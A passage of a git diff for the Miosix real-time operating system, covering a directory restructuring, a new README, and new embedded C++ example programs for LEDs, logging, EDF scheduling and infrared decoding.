diff --git a/.gitignore b/.gitignore index 53301b7fc..150ab109b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,5 @@ # Exclude doxygen -miosix/_doc/doxygen/html/* +doc/doxygen/html/* # Exclude temporary files main.elf @@ -15,11 +15,12 @@ image.uf2 *.d # Exclude build directories and host executables -miosix/_tools/filesystems/build -miosix/_tools/filesystems/buildromfs -miosix/_tools/bin2uf2/build -miosix/_tools/bin2uf2/bin2uf2 +tools/bin2uf2/bin2uf2 + +# Exclude all build directories +build # Exclude Mac OS X temporary ._* .DS_Store +build-docker/ diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index 7c6898ac2..000000000 --- a/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "miosix/_examples/datalogger/tscpp"] - path = miosix/_examples/datalogger/tscpp - url = https://github.com/fedetft/tscpp.git diff --git a/Makefile b/Makefile deleted file mode 100644 index 98fc946ce..000000000 --- a/Makefile +++ /dev/null @@ -1,50 +0,0 @@ -## -## Makefile for Miosix embedded OS -## - -## Path to kernel/config directories (edited by init_project_out_of_git_repo.pl) -KPATH := miosix -CONFPATH := $(KPATH) -MAKEFILE_VERSION := 1.15 -include $(KPATH)/Makefile.kcommon - -## -## List here your source files (both .s, .c and .cpp) -## -SRC := main.cpp - -## -## List here additional include directories (in the form -Iinclude_dir) -## -INCLUDE_DIRS := - -## -## List here additional static libraries with relative path -## -LIBS := - -## -## List here subdirectories which contains makefiles -## -SUBDIRS += - -## -## Attach a romfs filesystem image after the kernel -## -ROMFS_DIR := - -all: $(if $(ROMFS_DIR), image, main) - -main: $(OBJ) all-recursive - $(ECHO) "[LD ] main.elf" - $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) - $(ECHO) "[CP ] main.hex" - $(Q)$(CP) -O ihex main.elf main.hex - $(ECHO) "[CP ] main.bin" - $(Q)$(CP) -O binary main.elf main.bin - $(Q)$(SZ) main.elf - -clean: clean-recursive - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map - --include $(OBJ:.o=.d) diff --git a/README.md b/README.md new file mode 100644 index 000000000..f2bb371f0 --- /dev/null +++ b/README.md @@ -0,0 +1,150 @@ +# Welcome to the Miosix Kernel + +Miosix (Minimal Operating System with POSIX) is a real-time operating system +for 32-bit microcontrollers. It implements a new paradigm, the +**fluid kernel** [1]: applications can be written to run in kernel space +(*unikernel*-like), or in userspace with the same set of APIs. + +Miosix additionally features: + +- Focus on **C++** support, not just C +- Support for **standard APIs**: + - C and C++ standard libraries (STL included) + - POSIX thread API + - C++ exception handling +- **SMP Multicore** support +- **Memory protection** for processes on microcontrollers with MPUs +- Built-in **virtual filesystem** (VFS), integrated with the libc, supporting: + - FAT32 for external drives like SD cards + - LittleFs for non-volatile internal storage, like SPI Flash chips + - RomFs for read-only on-code-flash file storage +- **Flexible scheduler subsystem** with the ability to choose between + - Priority scheduling + - Earliest Deadline First (EDF) scheduling + - Control-based scheduling [2] +- **Scalable code size**, configurable by removing features you don't need + (~100KiB as a fluid kernel with userspace processes support and virtual filesystem, down to ~10KiB as a unikernel with all optional features removed) + +## Getting started + +You can find information on how to configure and use the kernel +at the following url: https://miosix.org + +Miosix development goes on in the testing and unstable branches. +The master branch points to the latest stable release. + +## Directory structure + +Directories marked with `[x]` contain code or configuration files that are used +to build the kernel while directories marked with `[ ]` contain other stuff +(documentation, examples). + +``` +[x] //Root directory, contains the application code + | + +--[ ] doc //Kernel documentation (doxygen + pdf + txt) + | + +--[ ] examples //Contains some example applications + | + +--[ ] templates //Contains application templates + | | + | +--[ ] simple //Template for kernel-mode applications + | | + | +--[ ] processes //Template for kernel and user-mode applications + | + +--[ ] tools //Miscellaneous tools for Miosix users + | | + | +--[ ] bootloaders //Custom bootloaders for some boards + | | //Mostly used for running Miosix in RAM without a + | | //debugger + | | + | +--[ ] compiler //Contains scripts used to build GCC with the + | | //patches required to compile the kernel + | | + | +--[ ] testsuite //Contains the kernel testsuite + | . + | . + | + +--[x] miosix //Contains all Miosix OS code + | + +--[x] cmake //CMake files used by the Miosix CMake build system + | + +--[x] config //Default template configuration makefile fragments + | | //and header files + | | + | +--[x] board //Board-specific configuration + | + +--[x] e20 //Contains the kernel's event driven API + | + +--[x] filesystem //Filesystem code + | + +--[x] interfaces //Contains interfaces between kernel and + | //architecture dependent code + | + +--[x] interfaces_private //Private interfaces for the kernel + | + +--[x] kercalls //Implementation of libc primitives for kernel mode + | + +--[x] kernel //Contains the architecture independent kernel part + | | + | +--[x] scheduler //Contains the various schedulers + | | + | +--[x] priority + | | + | +--[x] control_based + | | + | +--[x] edf + | + +--[x] ldscripts //Base linker script files + | //Boards include linker script fragments from here + | //to make full linker scripts + | + +--[x] tools //Scripts used by the Miosix build system + | + +--[x] util //Contains architecture independent utility code + | + +--[x] arch //Contains architecture dependent code + | + +--[x] board //Board-specific code and definitions + | | + | +--[x] lpc2138_miosix_board //Name of folder is the board name + | | | + | | +--[x] interfaces-impl //Implmentation of miosix/interfaces + | | | + | | +--[x] Makefile.inc //Build system configuration + | | | + | | +--[x] ... //Linker scripts, + | . //openocd scripts + | . Other boards + | + +--[x] chip //Chip-family-specific code and definitions + | | + | +--[x] lpc2000 //Name of folder is the chip family name + | | | + | | +--[x] interfaces-impl //Implmentation of miosix/interfaces + | | | + | | +--[x] Makefile.inc //Build system configuration + | . + | . Other chip families + | + +--[x] cpu //CPU-architecture-specific code and definitions + | | + | +--[x] armv4 //Name of folder is the CPU architecture + | | | + | | +--[x] interfaces-impl //Implmentation of miosix/interfaces + | . + | . Other architectures + | + +--[x] drivers //Collection of drivers + | + +--[x] CMSIS +``` + +## References + +[1] F. Terraneo and D. Cattaneo, "Fluid Kernels: Seamlessly Conquering the +Embedded Computing Continuum," in IEEE Transactions on Computers, vol. 74, +no. 12, Dec. 2025, doi: https://doi.org/10.1109/TC.2025.3605745. +[2] M. Maggio, F. Terraneo, and A. Leva, "Task scheduling: A control-theoretical +viewpoint for a general and flexible solution," in ACM Trans. Embed. Comput. +Syst., vol. 13, no. 4, Nov. 2014, doi: https://doi.org/10.1145/2560015. diff --git a/Readme.txt b/Readme.txt deleted file mode 100644 index f4ecc6f2a..000000000 --- a/Readme.txt +++ /dev/null @@ -1,7 +0,0 @@ - -Welcome to the Miosix kernel -============================ - -You can find information on how to configure and use the kernel -at the following url: http://miosix.org - diff --git a/miosix/_doc/doxygen/Doxyfile b/doc/doxygen/Doxyfile similarity index 99% rename from miosix/_doc/doxygen/Doxyfile rename to doc/doxygen/Doxyfile index 4272f67c9..5c2acf996 100644 --- a/miosix/_doc/doxygen/Doxyfile +++ b/doc/doxygen/Doxyfile @@ -38,7 +38,7 @@ PROJECT_NAME = Miosix # could be handy for archiving the generated documentation or if some version # control system is used. -PROJECT_NUMBER = 2.01 +PROJECT_NUMBER = 3.00 # Using the PROJECT_BRIEF tag one can provide an optional one line description # for a project that appears at the top of each page and should give viewer a @@ -768,7 +768,8 @@ WARN_LOGFILE = # spaces. # Note: If this tag is empty the current directory is searched. -INPUT = ../../ +INPUT = . \ + ../../miosix # This tag can be used to specify the character encoding of the source files # that doxygen parses. Internally doxygen uses the UTF-8 encoding. Doxygen uses @@ -813,11 +814,11 @@ RECURSIVE = YES # Note that relative paths are relative to the directory from which doxygen is # run. -EXCLUDE = ../../_doc/pdfdoc \ - ../../_doc/textdoc \ - ../../_examples \ - ../../_tools \ - ../../arch +EXCLUDE = ../../miosix/tools \ + ../../miosix/arch \ + ../../miosix/config/board \ + ../../miosix/filesystem/fat32 \ + ../../miosix/filesystem/littlefs \ # The EXCLUDE_SYMLINKS tag can be used to select whether or not files or # directories that are symbolic links (a Unix file system feature) are excluded diff --git a/miosix/_doc/doxygen/documentation.dox b/doc/doxygen/documentation.dox similarity index 93% rename from miosix/_doc/doxygen/documentation.dox rename to doc/doxygen/documentation.dox index d21beea22..57c884036 100644 --- a/miosix/_doc/doxygen/documentation.dox +++ b/doc/doxygen/documentation.dox @@ -40,20 +40,20 @@ Interfaces between kernel and architecture specific code. Starting from Miosix 1.53 all calls from kernel to architecture specific code is done through a set of functions, classes and macros grouped in a set of -header files in the miosix/interfaces folder. +header files in the miosix/interfaces and miosix/interfaaces_private folders. There are multiple implementations of these functions/classes, one for each architecture supported by Miosix. This eases portability since adding a new architecture is done by implementing a well defined set of interfaces. -Some of these functions are not designed to be accessed by user code, for -example the functions in portability.h are used by the kernel to create -threads and perform context switching, while the Disk class in disk.h is used -by the filesystem module to read and write from disk. +Some of these functions are not designed to be accessed by user code, and are +placed in the interfaces_private folder. These are used exclusively by the +kernel to provide higher-level functionalities such as creating threads and +performing context switching. Such functions are marked as \\internal and therefore are not visible by default in this doxygen documentation, because are useless for application developers. If there is the need to port Miosix to another platform it is always possible to build the doxygen documentation manually including \\internal functions. -Using functions which are marked as \\internal in user code might lead to +Using functions which are marked as \\internal in user code leads to undefined behaviour. */ diff --git a/miosix/_doc/doxygen/index.html b/doc/doxygen/index.html similarity index 100% rename from miosix/_doc/doxygen/index.html rename to doc/doxygen/index.html diff --git a/miosix/_doc/logo/miosixlogo.pdf b/doc/logo/miosixlogo.pdf similarity index 100% rename from miosix/_doc/logo/miosixlogo.pdf rename to doc/logo/miosixlogo.pdf diff --git a/miosix/_doc/logo/miosixlogo.png b/doc/logo/miosixlogo.png similarity index 100% rename from miosix/_doc/logo/miosixlogo.png rename to doc/logo/miosixlogo.png diff --git a/miosix/_doc/logo/miosixlogo.svg b/doc/logo/miosixlogo.svg similarity index 100% rename from miosix/_doc/logo/miosixlogo.svg rename to doc/logo/miosixlogo.svg diff --git a/miosix/_doc/logo/miosixlogo.txt b/doc/logo/miosixlogo.txt similarity index 100% rename from miosix/_doc/logo/miosixlogo.txt rename to doc/logo/miosixlogo.txt diff --git a/miosix/_doc/pdfdoc/features/Miosix features.odt b/doc/pdfdoc/features/Miosix features.odt similarity index 100% rename from miosix/_doc/pdfdoc/features/Miosix features.odt rename to doc/pdfdoc/features/Miosix features.odt diff --git a/miosix/_doc/pdfdoc/features/Miosix features.pdf b/doc/pdfdoc/features/Miosix features.pdf similarity index 100% rename from miosix/_doc/pdfdoc/features/Miosix features.pdf rename to doc/pdfdoc/features/Miosix features.pdf diff --git a/miosix/_doc/textdoc/Changelog.txt b/doc/textdoc/Changelog.txt similarity index 99% rename from miosix/_doc/textdoc/Changelog.txt rename to doc/textdoc/Changelog.txt index fd4bcc4cf..fc4fa4979 100644 --- a/miosix/_doc/textdoc/Changelog.txt +++ b/doc/textdoc/Changelog.txt @@ -1,3 +1,7 @@ +This file is kept for historic reasons. +It keeps a changelog that was kept during the early development of Miosix +from 2008 to 2016. It includes initial development from before git was used. + Changelog for Miosix np embedded OS v2.02 diff --git a/doc/textdoc/Error debug.txt b/doc/textdoc/Error debug.txt new file mode 100644 index 000000000..554b53cb1 --- /dev/null +++ b/doc/textdoc/Error debug.txt @@ -0,0 +1,17 @@ +Miosix catches the CPU fault handlers and prints an error message if WITH_ERRLOG +is defined. The error message includes the address of the instructon that caused +the error and reboots the system. + +To convert the printed address into the name of the function that caused the +error, and the exact code line where the program stopped, use this command: + +arm-miosix-eabi-addr2line
-e main.elf -f | arm-miosix-eabi-c++filt + +Example: + +arm-miosix-eabi-addr2line 0x0000d494 -e main.elf -f | arm-miosix-eabi-c++filt +miosix::Timer::interval() const +miosix/kernel/sync.cpp:174 + +Please note that for this operation to be reliable compiler optimization must +be turned off (using -O0 instead of the default -O2). diff --git a/miosix/_examples/asm/Readme.txt b/examples/asm/Readme.txt similarity index 100% rename from miosix/_examples/asm/Readme.txt rename to examples/asm/Readme.txt diff --git a/miosix/_examples/asm/main.s b/examples/asm/main.s similarity index 100% rename from miosix/_examples/asm/main.s rename to examples/asm/main.s diff --git a/examples/atsam4l_lcd/main.cpp b/examples/atsam4l_lcd/main.cpp new file mode 100644 index 000000000..84c9f7b5b --- /dev/null +++ b/examples/atsam4l_lcd/main.cpp @@ -0,0 +1,32 @@ + +#include +#include "miosix.h" +#include "drivers/atsam4l_lcd.h" + +using namespace std; +using namespace miosix; + +int main() +{ + start32kHzOscillator(); + + //Configure GPIO of LCD, PA8 to PA23 = 4 COM and 12 SEG + for(int i = 8; i <= 23; i++) + { + GpioPin pin(PA,i); + pin.mode(Mode::ALTERNATE); + pin.alternateFunction('F'); + } + + initLcd(12); + +// enableBlink(); + for(int i = 0; ; i++) + { + int t = i; + beginUpdate(); + for(int j = 0; j < 6 ; j++, t /= 10) setDigit(j, digitTbl[t % 10]); + endUpdate(); + Thread::sleep(10); + } +} diff --git a/examples/blinking_led/CMakeLists.txt b/examples/blinking_led/CMakeLists.txt new file mode 100644 index 000000000..495b0370b --- /dev/null +++ b/examples/blinking_led/CMakeLists.txt @@ -0,0 +1,40 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +cmake_minimum_required(VERSION 3.21) + +set(MIOSIX_KPATH ${CMAKE_SOURCE_DIR}/../../miosix) +set(CMAKE_TOOLCHAIN_FILE ${MIOSIX_KPATH}/cmake/Toolchains/gcc.cmake) +set(CMAKE_BUILD_TYPE "Release") + +project(BlinkingLED C CXX ASM) + +# Set Miosix definitions and options +#set(MIOSIX_BOARD rp2040_raspberry_pi_pico) + +add_subdirectory(${MIOSIX_KPATH} miosix EXCLUDE_FROM_ALL) + +add_executable(blinking_led simple.cpp) +miosix_link_target(blinking_led PROGRAM_DEFAULT) diff --git a/examples/blinking_led/simple.cpp b/examples/blinking_led/simple.cpp new file mode 100644 index 000000000..901f04f87 --- /dev/null +++ b/examples/blinking_led/simple.cpp @@ -0,0 +1,22 @@ +#include + +#include "interfaces/bsp.h" +#include "miosix.h" + +using namespace miosix; + +int main() +{ + while(true) + { + ledOn(); + printf("Led on\n"); + sleep(1); + + ledOff(); + printf("Led off\n"); + sleep(1); + } + + return 0; +} diff --git a/miosix/_examples/datalogger/ExampleData.h b/examples/datalogger/ExampleData.h similarity index 100% rename from miosix/_examples/datalogger/ExampleData.h rename to examples/datalogger/ExampleData.h diff --git a/miosix/_examples/datalogger/LogStats.h b/examples/datalogger/LogStats.h similarity index 100% rename from miosix/_examples/datalogger/LogStats.h rename to examples/datalogger/LogStats.h diff --git a/miosix/_examples/datalogger/Logger.cpp b/examples/datalogger/Logger.cpp similarity index 94% rename from miosix/_examples/datalogger/Logger.cpp rename to examples/datalogger/Logger.cpp index ff078edc7..5b8083459 100644 --- a/miosix/_examples/datalogger/Logger.cpp +++ b/examples/datalogger/Logger.cpp @@ -76,7 +76,7 @@ void Logger::start() // Perhaps excessive defensive programming as thread creation failure is // highly unlikely (only if ram is full) - packT = Thread::create(packThreadLauncher, 1536, 1, this, Thread::JOINABLE); + packT = Thread::create(packThreadLauncher, 1536, DEFAULT_PRIORITY, this, Thread::JOINABLE); if (!packT) { fclose(file); @@ -84,7 +84,7 @@ void Logger::start() } writeT = - Thread::create(writeThreadLauncher, 2048, 1, this, Thread::JOINABLE); + Thread::create(writeThreadLauncher, 2048, DEFAULT_PRIORITY, this, Thread::JOINABLE); if (!writeT) { fullQueue.put(nullptr); // Signal packThread to stop @@ -103,7 +103,7 @@ void Logger::start() if(logStatsEnabled) { statsT = - Thread::create(statsThreadLauncher, 1536, 1, this, Thread::JOINABLE); + Thread::create(statsThreadLauncher, 1536, DEFAULT_PRIORITY, this, Thread::JOINABLE); if (!statsT) { fullQueue.put(nullptr); // Signal packThread to stop @@ -159,7 +159,7 @@ LogResult Logger::logImpl(const char* name, const void* data, unsigned int size) Record* record = nullptr; { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; // We disable interrupts because IRQget() is nonblocking, unlike get() if (emptyQueue.IRQget(record) == false) { @@ -201,7 +201,7 @@ void Logger::packThread() { Buffer* buffer = nullptr; { - Lock l(mutex); + Lock l(mutex); // Get an empty buffer, wait if none is available while (emptyList.empty()) cond.wait(l); @@ -218,7 +218,7 @@ void Logger::packThread() // When stop() is called, it pushes a nullptr signaling to stop if (record == nullptr) { - Lock l(mutex); + Lock l(mutex); fullList.push(buffer); // Don't lose the buffer fullList.push(nullptr); // Signal writeThread to stop cond.broadcast(); @@ -232,7 +232,7 @@ void Logger::packThread() } while (bufferSize - buffer->size >= maxRecordSize); { - Lock l(mutex); + Lock l(mutex); // Put back full buffer fullList.push(buffer); cond.broadcast(); @@ -254,7 +254,7 @@ void Logger::writeThread() { Buffer* buffer = nullptr; { - Lock l(mutex); + Lock l(mutex); // Get a full buffer, wait if none is available while (fullList.empty()) cond.wait(l); @@ -287,7 +287,7 @@ void Logger::writeThread() s.statMaxWriteTime = max(s.statMaxWriteTime, s.statWriteTime); { - Lock l(mutex); + Lock l(mutex); // Put back empty buffer emptyList.push(buffer); cond.broadcast(); diff --git a/miosix/_examples/datalogger/Logger.h b/examples/datalogger/Logger.h similarity index 99% rename from miosix/_examples/datalogger/Logger.h rename to examples/datalogger/Logger.h index efe3f5424..a823c39b5 100644 --- a/miosix/_examples/datalogger/Logger.h +++ b/examples/datalogger/Logger.h @@ -197,7 +197,7 @@ class Logger miosix::Queue emptyQueue; ///< Empty Records std::queue> fullList; ///< Full buffers std::queue> emptyList; ///< Empty buffers - miosix::FastMutex mutex; ///< To allow concurrent access to the queues + miosix::KernelMutex mutex;///< To allow concurrent access to the queues miosix::ConditionVariable cond; ///< To lock when buffers are all empty miosix::Thread *packT; ///< Thread packing logged data diff --git a/examples/datalogger/Makefile b/examples/datalogger/Makefile new file mode 100644 index 000000000..ca8ab5a17 --- /dev/null +++ b/examples/datalogger/Makefile @@ -0,0 +1,66 @@ +## +## Makefile template for Miosix embedded OS kernel-side applications +## + +## Path to the Miosix kernel root (miosix-kernel/miosix) +KPATH := ../../miosix + +## Path to the Miosix config root, containing: +## - config/Makefile.inc +## - config/miosix_config.h (optional) +## - config/board//board_config.h (optional) +## Leave it as $(KPATH) to use the default settings built in to miosix. Any +## missing file is replaced by the defaults as well. +## To change the config, copy and paste the miosix/config directory to +## your project root and change this path to the project root (typically ".") +CONFPATH := $(KPATH) + +## When using CONFPATH := $(KPATH) you can choose the board here. You can also +## override other variables defined by Makefile.inc. +OPT_BOARD := stm32f407vg_stm32f4discovery # example board, any will do +# OPT_BOARD := [other options in miosix-kernel/miosix/config/Makefile.inc] + +## Include the Miosix common makefile for kernel-side applications +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## +## List here your source files (both .s, .c and .cpp) +## +SRC := main.cpp Logger.cpp tscpp/buffer.cpp + +## +## List here additional include directories (in the form -Iinclude_dir) +## +INCLUDE_DIRS := -I. + +## +## List here additional static libraries with relative path +## +LIBS := + +## +## List here subdirectories which contains makefiles +## +SUBDIRS += + +## +## Attach a romfs filesystem image after the kernel +## +ROMFS_DIR := + +all: $(if $(ROMFS_DIR), image, main) + +main: $(OBJ) all-recursive + $(ECHO) "[LD ] main.elf" + $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) + $(ECHO) "[CP ] main.hex" + $(Q)$(CP) -O ihex main.elf main.hex + $(ECHO) "[CP ] main.bin" + $(Q)$(CP) -O binary main.elf main.bin + $(Q)$(SZ) main.elf + +clean: clean-recursive + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map + +-include $(OBJ:.o=.d) diff --git a/examples/datalogger/Readme.txt b/examples/datalogger/Readme.txt new file mode 100644 index 000000000..9ad5cdcbf --- /dev/null +++ b/examples/datalogger/Readme.txt @@ -0,0 +1,35 @@ +High performance logging for Miosix + +NOTE: compiling this example requires the external library TSCPP. +It is suggested you do a "git clone https://github.com/fedetft/tscpp.git" in the +"datalogger" directory or add it as a submodule if your project is already using +git. + +Some applications - possibly real-time - require to log data, and do so from +multiple threads. While a simple library that opens a file and writes to is +sufficient for simple applications, there are some problems: +- the Miosix filesystem uses typically an SD card as storage, and SD and other + FLASH based storage devices may pause to do wear leveling. SD cards, even good + quality class 10 ones, may pause for up to 1 second. +- the Miosix OS, contrary to Linux, does not do much buffering at the filesystem + layer. This is desirable, since when an OS runs on as little as a few tens of + KB of RAM, the last thing you want is an OS that uses an unquatifiable amount + of memory. + +This example code shows a high-performance logging class that +- has a nonblocking log() member function, which can be called concurrently from + multiple threads, to log a user-defined class or struct. + Tscpp (https://github.com/fedetft/tscpp) is used to serialize data. + Being nonblocking, it can be called also in real-time threads of your codebase + with confidence. +- buffers data to compensate for the delays of the storage medium + +To configure the logger for your application, to trade off buffer space vs write +data rate, you can edit Logger.h + + static const unsigned int filenameMaxRetry = 100; ///< Limit on new filename + static const unsigned int maxRecordSize = 128; ///< Limit on logged data + static const unsigned int numRecords = 128; ///< Size of record queues + static const unsigned int bufferSize = 4096;///< Size of each buffer + static const unsigned int numBuffers = 4; ///< Number of buffers + static constexpr bool logStatsEnabled = true;///< Log logger stats? diff --git a/miosix/_examples/datalogger/logdecoder/Makefile b/examples/datalogger/logdecoder/Makefile similarity index 100% rename from miosix/_examples/datalogger/logdecoder/Makefile rename to examples/datalogger/logdecoder/Makefile diff --git a/miosix/_examples/datalogger/logdecoder/logdecoder.cpp b/examples/datalogger/logdecoder/logdecoder.cpp similarity index 100% rename from miosix/_examples/datalogger/logdecoder/logdecoder.cpp rename to examples/datalogger/logdecoder/logdecoder.cpp diff --git a/examples/datalogger/main.cpp b/examples/datalogger/main.cpp new file mode 100644 index 000000000..b53db9f5b --- /dev/null +++ b/examples/datalogger/main.cpp @@ -0,0 +1,80 @@ + +#include +#include +#include +#include +#include "Logger.h" +#include "ExampleData.h" + +using namespace std; +using namespace std::chrono; +using namespace miosix; + +volatile bool stop=false; + +void loggerDemo(void*) +{ + /* + * Logger is configured as: + * maxRecordSize = 128 + * numRecords = 128 + * bufferSize = 4096 + * numBuffers = 4 + * + * Serialized ExampleData is 30 bytes + * There are 128 entries in the record queue, and (4-1)=3 4096 buffers for + * buffering (the fourth buffer is the one being written). + * Thus, the buffering system can hold 4096*3/30+128=537 ExampleData before + * filling. Considering the rule of thumb that a high quality SD card may + * block for up to 1s, the maximum data rate is 537Hz. + * + * An estimate of the memory occupied by the logger is: + * buffers 4*(4096+4)+128*(128+4)=33296 + * thread stacks 1536+1536+2048=5120 + * so a total of 38KB. The actual memory occupied will be a bit larger + * due to unaccounted variables and overheads. + * + * Note: although this demo is simple, the logger allows to: + * - log data from multiple threads while being nonblocking + * - log different classes/structs in any order, provided their serialized + * size is less than maxRecordSize and that they meet the requirements + * to be serialized with tscpp (github.com/fedetft/tscpp) + */ + auto& logger=Logger::instance(); + logger.start(); + + int a=0,b=0; + auto period=milliseconds(2); //2ms, 500Hz + for(auto t=system_clock::now();;) + { + if(stop) break; + t+=period; + auto now=system_clock::now(); + if(t>now) + { + this_thread::sleep_until(t); + } else { + b++; //Deadline miss + t=now; + } + ExampleData ed(a++,b,t.time_since_epoch().count()); + logger.log(ed); + } + + logger.stop(); + + iprintf("Lost %d samples, missed %d deadlines\n", + logger.getStats().statDroppedSamples,b); +} + +int main() +{ + puts("Type enter to start logger demo"); + getchar(); + auto t=Thread::create(loggerDemo,2048,NUM_PRIORITIES-1,nullptr,Thread::JOINABLE); + puts("Type enter to stop logger demo"); + getchar(); + stop=true; + t->join(); + puts("Bye"); +} diff --git a/miosix/_examples/deep_sleep/main-test.cpp b/examples/deep_sleep/main-test.cpp similarity index 96% rename from miosix/_examples/deep_sleep/main-test.cpp rename to examples/deep_sleep/main-test.cpp index 54cc5d72c..2906ea3e0 100644 --- a/miosix/_examples/deep_sleep/main-test.cpp +++ b/examples/deep_sleep/main-test.cpp @@ -34,8 +34,8 @@ using namespace miosix; int main() { long long int timeBefore, timeAfter; - using sleepLed = Gpio; // orange - using deepSleepLed = Gpio; // blue + using sleepLed = Gpio; // orange + using deepSleepLed = Gpio; // blue sleepLed::mode(Mode::OUTPUT); deepSleepLed::mode(Mode::OUTPUT); int i=1; diff --git a/examples/edf/main.cpp b/examples/edf/main.cpp new file mode 100644 index 000000000..e9e190c8d --- /dev/null +++ b/examples/edf/main.cpp @@ -0,0 +1,71 @@ +#include +#include +#include +#include + +#ifndef SCHED_TYPE_EDF +#error Example is meant to be used with EDF scheduler +#endif + +using namespace miosix; + +void rt_task_func1(void* arg) +{ + const auto period1=1000000000LL; //4 second + auto deadline=getTime(); + for(;;) + { + deadline+=period1; + Thread::setPriority(deadline); + printf("RT1 Task %p running\n", Thread::getCurrentThread()); + delayMs(450); + if(getTime()>deadline) printf("Deadline Miss!\n"); + Thread::nanoSleepUntil(deadline); + } +} + + +void rt_task_func2(void* arg) +{ + const auto period2=1000000000LL; //5 second + auto deadline=getTime(); + for(;;) + { + deadline+=period2; + Thread::setPriority(deadline); + printf("RT2 Task %p running\n", Thread::getCurrentThread()); + delayMs(450); + if(getTime()>deadline) printf("Deadline Miss!\n"); + Thread::nanoSleepUntil(deadline); + } +} + + +void nrt_task_func(void* arg) +{ + for(;;) + { + printf("NRT Task %p running\n", Thread::getCurrentThread()); + delayMs(500); + + } +} + +int main() +{ + printf("Starting EDF Scheduler Test...\n"); + + long long t = getTime(); + + long long param = t + 1000000000LL; + + Thread* rt1 = Thread::create(rt_task_func1, 2048, param, nullptr); + Thread* rt2 = Thread::create(rt_task_func2, 2048, param, nullptr); + + Thread* nrt1 = Thread::create(nrt_task_func, 2048, DEFAULT_PRIORITY, nullptr); + Thread* nrt2 = Thread::create(nrt_task_func, 2048, DEFAULT_PRIORITY, nullptr); + + printf("Threads created. Running test...\n"); + + for(;;) Thread::wait(); +} diff --git a/miosix/_examples/fs_backend_benchmark/average.pl b/examples/fs_backend_benchmark/average.pl similarity index 100% rename from miosix/_examples/fs_backend_benchmark/average.pl rename to examples/fs_backend_benchmark/average.pl diff --git a/miosix/_examples/fs_backend_benchmark/backend_benchmark.cpp b/examples/fs_backend_benchmark/backend_benchmark.cpp similarity index 97% rename from miosix/_examples/fs_backend_benchmark/backend_benchmark.cpp rename to examples/fs_backend_benchmark/backend_benchmark.cpp index 6a0b2c29b..53f784305 100644 --- a/miosix/_examples/fs_backend_benchmark/backend_benchmark.cpp +++ b/examples/fs_backend_benchmark/backend_benchmark.cpp @@ -93,7 +93,7 @@ int main() if(line[0]=='r' || line[0]=='s') break; puts("Error: insert 'r' or 's'"); } - Thread *t=Thread::create(testThread,4096,1,0,Thread::JOINABLE); + auto t=Thread::create(testThread,4096,DEFAULT_PRIORITY,nullptr,Thread::JOINABLE); printf("Type enter to stop\n"); getchar(); t->terminate(); diff --git a/miosix/_examples/fs_loop_mount/Readme.txt b/examples/fs_loop_mount/Readme.txt similarity index 100% rename from miosix/_examples/fs_loop_mount/Readme.txt rename to examples/fs_loop_mount/Readme.txt diff --git a/miosix/_examples/fs_loop_mount/loop_mount.cpp b/examples/fs_loop_mount/loop_mount.cpp similarity index 100% rename from miosix/_examples/fs_loop_mount/loop_mount.cpp rename to examples/fs_loop_mount/loop_mount.cpp diff --git a/miosix/_examples/hd44780/hd44780.cpp b/examples/hd44780/hd44780.cpp similarity index 90% rename from miosix/_examples/hd44780/hd44780.cpp rename to examples/hd44780/hd44780.cpp index 5374e1a46..ba1751b87 100644 --- a/miosix/_examples/hd44780/hd44780.cpp +++ b/examples/hd44780/hd44780.cpp @@ -8,12 +8,12 @@ using namespace miosix; #warning "You may need to choose different GPIOs that are free in your board" #endif -typedef Gpio d4; -typedef Gpio d5; -typedef Gpio d6; -typedef Gpio d7; -typedef Gpio rs; -typedef Gpio e; +typedef Gpio d4; +typedef Gpio d5; +typedef Gpio d6; +typedef Gpio d7; +typedef Gpio rs; +typedef Gpio e; // Custom characters: // 0 1 2 3 4 5 6 7 diff --git a/examples/ir_decoder/ir_decoder.cpp b/examples/ir_decoder/ir_decoder.cpp new file mode 100644 index 000000000..f29280a30 --- /dev/null +++ b/examples/ir_decoder/ir_decoder.cpp @@ -0,0 +1,77 @@ + +#include +#include +#include +#include "e20/e20.h" +#include "miosix.h" +#include "interfaces/interrupts.h" + +using namespace std; +using namespace miosix; + +//Connect IR sensor output to PC6 of the stm32f4discovery +typedef Gpio timerIn; + +static unsigned short previous=0; + +void start() +{ + previous=0; + printf("start\n"); +} + +void timestamp(unsigned short t) +{ + unsigned short delta=t-previous; + previous=t; + printf("%d\n",delta); +} + +void stop() +{ + printf("stop\n"); +} + +FixedEventQueue<100,12> queue; + +void tim3impl() +{ + if(TIM3->SR & TIM_SR_UIF) + { + queue.IRQpost(bind(stop)); + } else { + if(TIM3->CR1 & TIM_CR1_CEN) + { + queue.IRQpost(bind(timestamp,TIM3->CCR1)); + } else { + TIM3->CR1|=TIM_CR1_CEN; //Start timer at first edge + queue.IRQpost(bind(start)); + } + } + TIM3->SR=0; //Clear interrupt flag +} + +int main() +{ + { + GlobalIrqLock dLock; + RCC->APB1ENR |= RCC_APB1ENR_TIM3EN; + RCC_SYNC(); + IRQregisterIrq(dLock,TIM3_IRQn,tim3impl); + } + TIM3->CNT=0; + TIM3->PSC=84-1; //Prescaler clocked at 84MHz, timer incremented every 1us + 